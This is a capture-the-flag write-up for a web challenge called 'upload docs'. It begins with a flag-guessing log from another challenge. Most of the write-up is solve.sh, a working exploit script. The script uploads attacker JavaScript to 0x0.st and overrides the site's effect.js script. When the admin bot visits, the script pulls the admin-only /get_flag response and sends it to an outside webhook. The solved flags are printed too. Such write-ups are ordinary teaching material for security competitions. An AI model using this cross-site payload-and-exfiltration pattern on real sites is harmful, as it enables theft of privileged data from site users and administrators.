• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_n3w_3r4|': result=1 (t=0.15s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_n3w_3r4}': result=1 (t=0.19s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_n3w_3r4~': result=0 (t=0.14s)
[step] chose '}' -> FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_n3w_3r4}
[DONE] FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_n3w_3r4}FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_n3w_3r4}
upload docs

We’ve come across a rather unusual solution for uploading documentation, and I’ve noticed several odd things about it.
Here’s what I know so far:
There’s an
/admin?target_user={user_id}endpoint that simulates what an admin would see on the site. From there, the admin can viewtarget_userthe links. There’s also a/get_flagendpoint, which appears to work only within the local network.Local port is 5000.
tldr;
Notes: From the page sources we observed that the application always includes (after you de-obfuscate the code with https://deobfuscate.io/). /static/js/effect.js with window.stateObject["static/js/effect.js"].href without validation. And that is pretty much the vulnerability

solve.sh
set -euo pipefail
# === EDIT THIS ===
WEBHOOK='<your-webhook-url>'
BASE='https://fortid-upload-docs.chals.io'
# =================
echo "[1/5] Start session"
curl -sS -c cookies.txt "$BASE/" -o /dev/null
UUID="$(awk '$6=="user_id"{print $7}' cookies.txt)"
[ -n "${UUID:-}" ] || { echo "[!] no user_id cookie"; exit 1; }
echo "[i] user_id = $UUID"
echo "[2/5] Build JS payload (executes in admin origin)"
PAYLOAD_JS="fetch('/get_flag')
.then(r=>r.text())
.then(t=>{ new Image().src='$WEBHOOK?flag='+encodeURIComponent(t); })
.catch(e=>{ new Image().src='$WEBHOOK?err='+encodeURIComponent(String(e)); });"
TMPFILE="$(mktemp --suffix=.js)"
printf '%s\n' "$PAYLOAD_JS" > "$TMPFILE"
echo "[i] payload file = $TMPFILE"
echo "[3/5] Host payload on 0x0.st"
RAW_URL="$(curl -sS -F "file=@${TMPFILE};type=text/javascript" https://0x0.st/)"
[ -n "${RAW_URL:-}" ] || { echo "[!] upload failed"; exit 1; }
echo "[i] raw js url = $RAW_URL"
echo "[4/5] Register gadget (override /static/js/effect.js)"
curl -sS -b cookies.txt -c cookies.txt -X POST "$BASE/" \
--data-urlencode 'username=static/js/effect.js' \
--data-urlencode "link=${RAW_URL}" \
-o /dev/null
echo "[i] gadget posted"
echo "[5/5] Trigger admin visit"
curl -sS -b cookies.txt "$BASE/admin?target_user=${UUID}" -o /dev/null
echo
echo "Check webhook for a GET like: ?flag=FortID%7B...%7D"
FortID{50m371m35_15_b3773r_70_n07_v1b3_c0d3_4nd_0buf5c473}
Last updated